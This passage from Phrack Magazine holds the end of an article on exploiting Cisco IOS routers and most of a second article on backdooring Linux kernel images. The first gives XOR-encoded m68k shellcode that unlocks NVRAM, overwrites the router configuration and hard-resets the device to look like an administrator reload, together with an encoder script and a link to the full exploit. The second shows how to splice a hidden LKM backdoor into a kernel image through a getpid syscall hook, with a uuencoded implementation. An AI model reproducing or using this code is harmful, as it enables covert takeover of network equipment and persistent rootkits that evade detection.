There are things to keep in mind about NVRAM. First of all, it's slow to
write to. The Xicor chips yours truly encountered on Cisco routers require
that after a write, the address lines are kept unchanged for the time the
chip needs to write the data. A control register will signal when the write
operation is done. Since the location of this control register is not known
and might not be the same for different types of the same platform, yours
truly prefers to use delay loops to give the chip time to write the data -
since speed is not the attackers problem here.
Now, that we know pretty much what we want to do, we can go on and look at
the "how" part of things. First of all, you need to produce assembly for
the target platform. A little known fact is, that IOS is actually build (at
least some times) using GNU compilers. Therefore, the binutils[3] package
can be compiled to build Cisco compatible code by setting the target
platform for the ./configure run to --target=m68k-aout. When you are done,
you will have a m68k-aout-as binary, which can produce your code and a
m68k-aout-objdump to get the OP code values.
In case the reader is fluent in Motorola 68000 assembly, I would like to
apologize for the bad style, but yours truly grew up on Intel.
Optimizations and style guides are welcome. Anyway, let's start coding.
For a string overflow scenario like this one, the recommended way for small
code is to use self-modification. The main code will be XOR'd with a
pattern like 0x55 or 0xD5 to make sure that no 0x00 bytes show up. A
bootstrap code will decode the main code and pass execution on to it. The
Cisco 1600 platform with it's 68360 does not have any caching issues to
worry us (thanks to LSD for pointing this out), so the only issue we have
is avoiding 0x00 bytes in the bootstrap code. Here is how it works:
--- bootstrap.s ---
.globl _start
_start:
| Remove write protection for NVRAM.
| Protection is Bit 1 in BR7 for 0x0E000000
move.l #0x0FF010C2,%a1
lsr (%a1)
| fix the brance opcode
| 'bne decode_loop' is OP code 0x6600 and this is bad
lea broken_branch+0x101(%pc),%a3
sub.a #0x0101,%a3
lsr (%a3)
| perform dummy load, where 0x01010101 is then replaced
| by our stack ptr value due to the other side of the pointer
| exchange
move.l #0x01010101,%d1
| get address of the real code appended plus 0x0101 to
| prevent 0x00 bytes
lea xor_code+0x0101(%pc),%a2
sub.a #0x0101,%a2
| prepare the decode register (XOR pattern)
move.w #0xD5D5,%d1
decode_loop:
| Decode our main payload code and the config
eor.w %d1,(%a2)+
| check for the termination flag (greetings to Bine)
cmpi.l #0xCAFEF00D,(%a2)
broken_branch:
| this used to be 'bne decode_loop' or 0x6600FFF6
.byte 0xCC,0x01,0xFF,0xF6
xor_code:
--- end bootstrap.s ---
You may assemble the code into an object file using:
linux# m68k-aout-as -m68360 -pic --pcrel -o bootstrap.o bootstrap.s
There are a few things to say about the code. Number one are the first two
instructions. The CPU we are dealing with supports write protection for
memory segments [4]. Information about the memory segments is stored in
so-called "Base Registers", BR0 to BR7. These are mapped into memory at
0x0FF00000 and later. The one we are interested in (BR7) is at 0x0FF010C2.
Bit0 tells the CPU if this memory is valid and Bit1 if it's write
protected, so the only thing we need to do is to shift the lower byte one
Bit to the right. The write protection Bit is cleared and the valid Bit is
still in place.
The second thing of mild interest is the broken branch code, but the
explaination in the source should make this clear: the OP code of "BNE"
unfortunately is 0x6600. So we shift the whole first word one to the right
and when the code runs, this is corrected.
The third thing is the dummy move to d1. If the reader would refer back to
the place we discussed the pointer exchange, he will notice that there is a
"back" part in this operation: namely the stack address is written to our
code plus 20 bytes (or 0x14). So we use a move operation that translates to
the OP code of 0x223c01010101, located at offset 0x12 in our code. After
the pointer exchange takes place, the 0x01010101 part is replaced by the
pointer - which is then innocently moved to the d1 register and ignored.
When this code completed execution, the appended XOR'd code and config
should be in memory in all clear text/code. The only thing we have to do
now is copy the config in the NVRAM. Here is the appropriate code to do
this:
--- config_copy.s ---
.globl _start
_start:
| turn off interrupts
move.w #0x2700,%sr;
move.l #0x0FF010C2,%a1
move.w #0x0001,(%a1)
| Get position of appended config and write it with delay
lea config(%pc),%a2
move.l #0x0E0002AE,%a1
move.l #0x00000001,%d2
copy_confg:
move.b (%a2)+,(%a1)+
| delay loop
move.l #0x0000FFFF,%d1
write_delay:
subx %d2,%d1
bmi write_delay
cmp.l #0xCAFEF00D,(%a2)
bne copy_confg
| delete old config to prevent checksum errors
delete_confg:
move.w #0x0000,(%a1)+
move.l #0x0000FFFF,%d1
| delay loop
write_delay2:
subx %d2,%d1
bmi write_delay2
cmp.l #0x0E002000,%a1
blt delete_confg
| perform HARD RESET
CPUReset:
move.w #0x2700,%sr
moveal #0x0FF00000,%a0
moveal (%a0),%sp
moveal #0x0FF00004,%a0
moveal (%a0),%a0
jmp (%a0)
config:
--- end config_copy.s ---
There is no particular magic about this part of the code. The only thing
worth noticing is the final CPU reset. There is reason why we do this. If
we just crash the router, there might be exception handlers in place to
save the call stack and other stuff to the NVRAM. This might change
checksums in an unpredictable way and we don't want to do this. The other
reason is, that a clean reset makes the router look like it was rebooted by
an administrator using the "reload" command. So we don't raise any
questions despite the completely changed configuration ;-)
The config_copy code and the config itself must now be XOR encoded with the
pattern we used in the bootstrap code. Also, you may want to put the code
into a nice char array for easy use in a C program. For this, yours truly
uses a dead simple but efficient Perl script:
--- objdump2c.pl ---
#!/usr/bin/perl
$pattern=hex(shift);
$addressline=hex(shift);
while (<STDIN>) {
chomp;
if (/[0-9a-f]+:\t/) {
(undef,$hexcode,$mnemonic)=split(/\t/,$_);
$hexcode=~s/ //g;
$hexcode=~s/([0-9a-f]{2})/$1 /g;
$alc=sprintf("%08X",$addressline);
$addressline=$addressline+(length($hexcode)/3);
@bytes=split(/ /,$hexcode);
$tabnum=4-(length($hexcode)/8);
$tabs="\t"x$tabnum;
$hexcode="";
foreach (@bytes) {
$_=hex($_);
$_=$_^$pattern if($pattern);
$hexcode.=sprintf("\\x%02X",$_);
}
print "\t\"".$hexcode."\"".$tabs."//".$mnemonic." (0x".$alc.")\n";
}
}
--- end objdump2c.pl ---
You can use the output of objdump and pipe it into the script. If the
script got no parameter, it will produce the C char string without
modifications. The first optional paramter will be your XOR pattern and the
second one can be the address your buffer is going to reside at. This makes
debugging the code a hell of a lot easier, because you can refer to the
comment at the end of your C char string to find out which command made the
Cisco unhappy.
The output for our little config_copy.s code XOR'd with 0xD5 looks like
this (trimmed for phrack):
linux# m68k-aout-objdump -d config_copy.o |
> ./objdump2XORhex.pl 0xD5 0x020F2A24
"\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2A24)
"\xF7\xA9\xDA\x25\xC5\x17" //moveal #267391170,%a1 (0x020F2A28)
"\xE7\x69\xD5\xD4" //movew #1,%a1@ (0x020F2A2E)
"\x90\x2F\xD5\x87" //lea %pc@(62 <config>),%a2 (0x020F2A32)
"\xF7\xA9\xDB\xD5\xD7\x7B" //moveal #234881710,%a1 (0x020F2A36)
"\xA1\xD4" //moveq #1,%d2 (0x020F2A3C)
"\xC7\x0F" //moveb %a2@+,%a1@+ (0x020F2A3E)
"\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A40)
"\x46\x97" //subxw %d2,%d1 (0x020F2A46)
"\xBE\xD5\x2A\x29" //bmiw 22 <write_delay> (0x020F2A48)
"\xD9\x47\x1F\x2B\x25\xD8" //cmpil #-889262067,%a2@ (0x020F2A4C)
"\xB3\xD5\x2A\x3F" //bnew 1a <copy_confg> (0x020F2A52)
"\xE7\x29\xD5\xD5" //movew #0,%a1@+ (0x020F2A56)
"\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A5A)
"\x46\x97" //subxw %d2,%d1 (0x020F2A60)
"\xBE\xD5\x2A\x29" //bmiw 3c <write_delay2> (0x020F2A62)
"\x66\x29\xDB\xD5\xF5\xD5" //cmpal #234889216,%a1 (0x020F2A66)
"\xB8\xD5\x2A\x3D" //bltw 32 <delete_confg> (0x020F2A6C)
"\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2A70)
"\xF5\xA9\xDA\x25\xD5\xD5" //moveal #267386880,%a0 (0x020F2A74)
"\xFB\x85" //moveal %a0@,%sp (0x020F2A7A)
"\xF5\xA9\xDA\x25\xD5\xD1" //moveal #267386884,%a0 (0x020F2A7C)
"\xF5\x85" //moveal %a0@,%a0 (0x020F2A82)
"\x9B\x05" //jmp %a0@ (0x020F2A84)
Finally, there is only one more thing to do before we can compile this all
together: new have to create the new NVRAM header and calculate the
checksum for our new config. The NVRAM header has the form of:
typedef struct {
u_int16_t magic; // 0xABCD
u_int16_t one; // Probably type (1=ACII, 2=gz)
u_int16_t checksum;
u_int16_t IOSver;
u_int32_t unknown; // 0x00000014
u_int32_t cfg_end; // pointer to first free byte in
// memory after config
u_int32_t size;
} nvhdr_t;
Obviously, most values in here are self-explainory. This header is not
nearly as much tested as the memory structures, so IOS will forgive you
strange values in the cfg_end entry and such. You can choose the IOS
version, but yours truly recommends to use something along the lines of
0x0B03 (11.3), just to make sure it works. The size field covers only the
real config text - not the header.
The checksum is calculated over the whole thing (header plus config) with
the checksum field itself being set to zero. This is a standard one's
complement checksum as you find in any IP implementation.
When putting it all together, you should have something along the lines of:
+--------------+
| AAAAAAAAAAAA |
...
| AAAAAAAAAAAA |
+--------------+
| FAKE BLOCK |
| |
....
+--------------+
| Bootstrap |
| |
....
+--------------+
| config_copy |
| XOR pat |
....
+--------------+
| NVRAM header |
| + config |
| XOR pat |
....
+--------------+
...which you can now send to the Cisco router for execution. If everything
works the way it is planned, the router will seemingly freeze for some
time, because it's working the slow loops for NVRAM copy and does not allow
interrupts, and should then reboot clean and nice.
To save space for better papers, the full code is not included here but is
available at http://www.phenoelit.de/ultimaratio/UltimaRatioVegas.c . It
supports some adjustments for code offset, NOPs where needed and a slightly
different fake block for 11.1 series IOS.
--[ 6 - Everything not covered in 1-5
A few assorted remarks that somehow did not fit into the rest of this text
should be made, so they are made here.
First of all, if you find or know an overflow vulnerability for IOS 11.x
and you think that it is not worth all the trouble to exploit since
everyone should run 12.x by now, let me challange this. Nobody with some
experience on Cisco IOS will run the latest version. It just doesn't work
correctly. Additionally, many people don't update their routers anyway. But
the most interesting part is a thing called "Helper Image" or simply "boot
IOS". This is a mini-IOS loaded right after the ROM monitor, which is
normally a 11.x. On the smaller routers, it's a ROM image and can not be
updated easily. For the bigger ones, people assured me that there are no
12.x mini-IOSes out there they would put on a major production router. Now,
when the Cisco boot up and starts the mini-IOS, it will read the config and
work accordingly as long as the feature is supported. Many are - including
the TFTP server. This gives an attacker a 3-8 seconds time window in which
he can perform an overflow on the IOS, in case somone reloads the router.
In case this goes wrong, the full-blown IOS still starts up, so there will
be no traces of any hostile activity.
The second item yours truly would like to point out are the different
things one might want to explore for overflow attacks. The obvious one
(used in this paper as example) is a service running on a Cisco router.
Another point for overflowing stuff are protocols. No protocol inspection
engine is perfect AFAYTK. So even if the IOS is just supposed to route
the packet, but has to inspect the contents for some reason, you might find
something there. And if all fails, there are still the debug based
overflows. IOS offers a waste amount of debug commands for next to
everything. These do normally display a lot of information comming right
from the packet they received and don't always check the buffer they use
for compiling the displayed string. Unfortunately, it requires someone to
turn on debugging in the first place - but well, this might happen.
And finally, some greets have to be in here. Those go to the following
people in no particular order: Gaus of Cisco PSIRT, Nico of Securite.org,
Dan of DoxPara.com, Halvar Flake, the three anonymous CCIEs/Cisco wizards
yours truly keeps asking strange questions and of course FtR and Mr. V.H.,
because without their equipment, there wouldn't be any research to speak
of. Additional greets go to all people who research Cisco stuff and to whom
yours truly had no chance to talk to so far - please get in touch with us.
The last one goes to the vulnerability research labs out there: let me
know if you need any help reproducing this `;-7
--[ A - References
[1] anonymous <d45a312a@author.phrack.org>
"Once upon a free()..."
Phrack Magazine, Volume 0x0b, Issue 0x39, Phile #0x09 of 0x12
[2] Cisco Router IOS Memory Maps
http://www.cisco.com/warp/public/112/appB.html
[3] GNU binutils
http://www.gnu.org/software/binutils/binutils.html
[4] Motorola QUICC 68360 CPU Manual
MC68360UM, Page 6-70
|=[ EOF ]=---------------------------------------------------------------=|
==Phrack Inc.==
Volume 0x0b, Issue 0x3c, Phile #0x08 of 0x10
|=-------------------=[ Static Kernel Patching ]=------------------------=|
|=-----------------------------------------------------------------------=|
|=-----------------=[ jbtzhm <jbtzhm@nsfocus.com> ]=---------------------=|
|=---------------------[ http://www.nsfocus.com ]=-----------------------=|
--[ Contents
1 - Introduction
2 - Get kernel from the image
3 - Allocate some space in image
4 - Relocate the symbol in module file
5 - Make it autorun when reboot
6 - Possible solutions
7 - Conclusion
8 - References
9 - Appendix: The implementation
--[ 1 - Introduction
This paper will show a simple way to patch a common LKM into the
static linux kernel image.Most kernel backdoors are implemented by loadable
kernel module which is loaded into kernel by insmod or /dev/kmem,and the
backdoor module can found easily if the disk can be mounted on other
machines.It is not the expected result.What is wanted is just to find a
method to put the LKM into kernel image,and make it run when reboot.
The program attached in the appendix contains codes and debugs in redhat7.2
(Intel)default installation,and can be easily tested on other kernel
versions by some modification.Also the program is based on the
/boot/System.map file which contains the kernel symbol address.If the file
doesn't exist on your system,more works have to be done to make it run.
--[ 2 - Get kernel from the image
The first step is getting kernel from image file that is usually compressed
(uncompress image is not concerned because it is much easier).The image
file can be analyzed from the kernel source files,and Makefile will
clarify the structure of the image.
[/usr/src/linux/arch/i386/boot/Makefile]
..
zImage: $(CONFIGURE) bootsect setup compressed/vmlinux tools/build
$(OBJCOPY) compressed/vmlinux compressed/vmlinux.out
tools/build bootsect setup compressed/vmlinux.out $(ROOT_DEV) >
zImage
..
(bzImage is similar)
bootsect: bootsect.o
$(LD) -Ttext 0x0 -s --oformat binary -o $@ {body}lt;
bootsect.o: bootsect.s
$(AS) -o $@ {body}lt;
bootsect.s: bootsect.S Makefile $(BOOT_INCL)
$(CPP) $(CPPFLAGS) -traditional $(SVGA_MODE) $(RAMDISK) \
{body}lt; -o $@
..
setup: setup.o
$(LD) -Ttext 0x0 -s --oformat binary -e begtext -o $@ {body}lt;
setup.o: setup.s
$(AS) -o $@ {body}lt;
setup.s: setup.S video.S Makefile $(BOOT_INCL) $(TOPDIR)\
/include/linux/version.h $(TOPDIR)/include/linux/compile.h
$(CPP) $(CPPFLAGS) -D__ASSEMBLY__ -traditional \
$(SVGA_MODE) $(RAMDISK) {body}lt; -o $@
The bootsect and setup file are easy to understand.They are created by
bootsect.s and setup.s respectively.The vmlinux.out file is raw binary
file generated by objcopy command.The value of $(OBJCOPY) is
"objcopy -O binary -R .note -R .comment -S". More details are available
by `man objcopy`.When the three files are ready the build program will
bind the three files to on file which is the kernel image file.
However the vmlinx file is generated more complicatedly.It is also possible
to go into the compressed directory and look through the Makefile.
[/usr/src/linux/arch/i386/boot/compressed/Makefile]
..
vmlinux: piggy.o $(OBJECTS)
$(LD) $(ZLINKFLAGS) -o vmlinux $(OBJECTS) piggy.o
The $(OBJECTS) includes head.o and misc.o,compiled by head.S and
misc.c respectively.The most important step in head.S is calling
the decompress_kernel function in misc.c.The function will inflate
the compressed kernel.When the decompress_kernel takes effect,it requires
input_len and input_data symbol which are defined in piggy.o
..
piggy.o: $(SYSTEM)
tmppiggy=_tmp_$$piggy; \
rm -f $tmppiggy $tmppiggy.gz $tmppiggy.lnk; \
$(OBJCOPY) $(SYSTEM) $tmppiggy; \
gzip -f -9 < $tmppiggy > $tmppiggy.gz; \
echo "SECTIONS { .data : { input_len = .; \
LONG(input_data_end - input_data) input_data = .; \
*(.data) input_data_end = .; }}" > $tmppiggy.lnk;
$(LD) -r -o piggy.o -b binary $tmppiggy.gz -b elf32-i386 -T \
$tmppiggy.lnk;
rm -f $tmppiggy $tmppiggy.gz $tmppiggy.lnk
The piggy.o file is a common ELF object file.However,it only contains data
section.The ld requires a command file like this\
SECTIONS { .data : { input_len = .; LONG(input_data_end - input_data)\
input_data = .; *(.data) input_data_end = .; }}
The command file enables the piggy.o to have the symbol which is required
by misc.o.Hopefully the command "gzip -f -9" also can be seen. It just
compressed the kernel file compiled by thousands of kernel source files.
So the kernel image could be described like this
[bootsect][setup][[head][misc][compressed_kernel]]
Now let us understand more about the boot process.
The process can be separated into the following some logical stages:
1.BIOS selects the boot device.
2.BIOS loads the [bootsecto] from the boot device.
3.[bootsect] loads [setup] and [[head][misc][compressed_kernel]].
4.[setup] do sth. and jmp to [head](it is at 0x1000 or 0x100000).
5.[head] call uncompressed_kernel in [misc].
6.[misc] uncompressed [compressed_kernel] and put it at 0x100000.
7.high level init(begin at startup_32 in linux/arch/i386/kernel/head.S).
After the machine run into step 7,the high level initialization begins.
When the structure of the kernel image is clear,kernel text from the
compressed image with a dirty method are easily available.It is matching
the compress-magic contained in image.It is also known the 4-byte number
before the magic is the input_data from which the offset can be verified.
After this gunzip the kernel is pretty easy.
--[ 3 - Allocate some space in image to use
The allocation here doesn't mean vmalloc or kmalloc method.It just means
space is required to contain the LKM file.The lkm file >> the kernel can
be easily catted,but it will not work.To find the reason,the best method is
to go back into the kernel initial code,which is all in step 7 mentioned
above.
[/usr/src/linux/arch/i386/kernel/head.S]
..
/*
* Clear BSS first so that there are no surprises...
*/
xorl %eax,%eax
movl $ SYMBOL_NAME(__bss_start),%edi
movl $ SYMBOL_NAME(_end),%ecx
subl %edi,%ecx
cld
rep
stosb
..
After reading the head.S file,the above code can be found,which clearly
expressed that it will clarify BSS range.The BSS area contains the
uninitialized variable which is not included in the kernel file,but the
kernel memory will leave the area to bss.So the lkm will be clear if just
appending the code to the kernel.To solve the problem some dummy data
can be added before the code the length of which is just equal to the bss
size.Though it will make the new kernel much larger,the compressed will
help to deflate all the zero data effectively.
However there is also another problem.Read through followed code
[/usr/src/linux/arch/i386/kernel/setup.c]
..
void __init setup_arch(char **cmdline_p)---called by start_kernel
..
init_mm.
/*
* partially used pages are not usable - thus
* we are rounding upwards:
*/
..
start_pfn = PFN_UP(__pa(&_end));start_code = (unsigned long) &_text;
init_mm.end_code = (unsigned long) &_etext;
init_mm.end_data = (unsigned long) &_edata;
init_mm.brk = (unsigned long) &_end;//it is bss end
..
The kernel wouldn't leave any space to the lkm unreasonable,so it will
manage the space available from the bss end which is just the beginning
of the LKM code.Therefore,the _end symbol in text should be modified to
give the start_pfn a larger value.Then the new kernel will be like this:
[modified kernel][all zero dummy][module]
--[ 4 - Relocate the symbol in module file
The module is common LKM file and its type is usually ELF object file,and
the object file need to be relocated before it could be used.The following
example make it easier to understand.
int init_module()
{
char s[] = "hello world\n";
printk("%s\n",s);
return 0;
}
After compiling the program by command gcc,the module.o is available:
[root@linux-jbtzhm test]#gcc -O2 -c module.c
[root@linux-jbtzhm test]# objdump -x module.o|more
..
RELOCATION RECORDS FOR [.text]:
OFFSET TYPE VALUE
00000004 R_386_32 .rodata
00000009 R_386_32 .rodata
0000000e R_386_PC32 printk
[root@linux-jbtzhm test]# objdump -d module.o
test.o: file format elf32-i386
Disassembly of section .text:
00000000 <init_module>:
0: 55 push %ebp
1: 89 e5 mov %esp,%ebp
3: 68 00 00 00 00 push $0x0
8: 68 0d 00 00 00 push $0xd
d: e8 fc ff ff ff call e <init_module+0xe>
12: 31 c0 xor %eax,%eax
14: c9 leave
15: c3 ret
The object file structure is clear from the output of objdump.There are
three entries in the text relocation section,and the offset shows the place
should be corrected.For the printk symbol,the type is R_386_PC32 which
means relative call instruction(R_386_32 means absolute address).So after
relocation the value of "fc ff ff ff" in the text that calls printk will
be put out in the right value.
However,it is more complex than what can be described about the relocation,
and more information about it is available from ELF specifications.About
the implementation of relocation Silvio had written many codes in his
paper-RUNTIME KERNEL KMEM PATCHING-.Many lines are refereed from it and some
operations are added about uninitialized static and SHN_COMMON variables.
-- [ 5 - Make it autorun when reboot
After the above steps the new kernel appears like this
[modified kernel][all zero dummy][relocated module]
But the module don't have chance to be called,so the kernel running path
has to be changed to call the function init_module in lkm.My method is
adding some code between the dummy data and the module and changing the
value of sys_call_table[SYS_getpid] to the code.Many programs (like init)
will call getpid when machine reboots,then the code will be called.
char init_code[]={
"\xE8\x00\x00\x00\x00" //call init_module
"\xC7\x05\x00\x00\x00\x00\x11\x11\x11\x11" //restore orig_getpid
"\xE8\x11\x11\x11\x11" //call orig_getpid
"\xC3" //ret
};
All the relative and absolute addr is written by wrong value,but it is not
necessary to worry about that.When relocating the module the accurate
values about those address can be also make certain.
So the final new kernel had come int being.
[modified kernel][all zero dummy][init_code][relocated module]
Then the new kernel image followed the steps in Makefile is generated.Now
a new kernel patched by the module is available.
--[ 6 - Possible solutions
Deleting the /boot/System.map is the easiest way to prevent someone from
using this program without any modification.However Silvio had shown some
ways to generate the kernel symbol list from kernel.So it is not the final
solutions.Adding some module to prevent kernel image from being modified is
not a bad idea,but the precondition is the system should support the module.
When a kernel image was patched,its size and checksum could be detected,
so some function can be added to cheat the manager,but I don't have time
to do that.If you have more ideas please don't hesitate to contact me.
--[ 7 - Conclusion
Now it is clear that it is so easy to patch the kernel image.If the host
is compromised,nothing should be trusted,even if your own eyes.Halting the
machine and mounting the disk to another host is a good idea.
This paper is just for education.Please don't use it for other purposesA.
Sorry about my poor English and the dirty code of my program.Everything
should be better if I have more time.Though it could work well at
redhat 7.2,there maybe some problems if moved to all versions of linux
kernel.However,time is not enough for the tests on all kinds of
environment.
--[ 8 - References
[1] Silvio's article describing run-time kernel patching (System.map)
[http://www.big.net.au/~silvio/runtime-kernel-kmem-patching.txt]
[2] "Complete Linux Loadable Kernel Modules. The definitive guide
for hackers, virus coders and system administrators."
[http://www.thehackerschoice.com/papers]
[3] <<Linux Kernel:Scenarios and Analysis>> by Mao Decao and Hu Ximing
[4] linux kernel source
[http://www.kernel.org]
[5] Linux Kernel 2.4 Internals
[http://www.moses.uklinux.net/patches/lki.html]
At last,many thanks to Silvio the source about the relocation.Also to my
co-worker lgx who give me many good advise when i debug the program.At
the same time i extend special thanks to Hou Hanshu who help me correct
much grammar mistakes in english.
--[ 9 - Appendix: The implementation
begin 644 kpatch.tgz
M'XL(`$\'Y#T``^P\2W`<QW6@1"N<M6++43Y.G#C-50CM_X<?C2404A0HL42"
M+`"T(T.H]6)W%CO$[LQZ9Y8`*2&1?8E\<U4N.<15KDH..215ON20N%*E0U*5
M2BZIW'+3):=<?/`E.:3R/MT]W;.S`,F8DE/F%`:[W?VZ^_5[K]]O>N=PU(XZ
M_>K<L[QJM<7:RM(2?-*5_.3O*TLK]5IM87%E>:Y6K]<6%^;$TC/%2EZ3,&J/
MA9@;!T%T&MQ9[?]/KT/F_^'0'58ZSVB.&C!V>7%Q%O^7:TO+Q/_:XG)]9;D!
M\(WZ4GU.U)X1/M;U"\[_:D%\8^Q%KB_V'XIM;_#`"\1U-VR/77&E0Y_AU2@8
MM1]5.M^>5-SNI-*>K&=$07BBZW7]UR,Q#+I>[Z'PHHI8+>>AJ9IYS?,[@TD7
MA@BCKA=4^NMVU<#;M^LZT<.1FP0;>_Z!73?Q/>AMU_4Z?C28FB$YZ<#S)\=5
M0'4R<--:4D;.TI[H9S,90&72B<1A^'`X`##Q?L9)5!4<WSV.FG&]._;=00M:
M'01I9DZ:4\/TW7;WE*&P1[60<0!.]-MA7X3>(U<,05S%OBO:OO#\R#T8MP=B
M%!RY8Q'T1'049(#ZF=>Z;L_S7?'.]KNW6V]?VWZ[M7WSFQO.4KV1C@06<(I=
MN\->C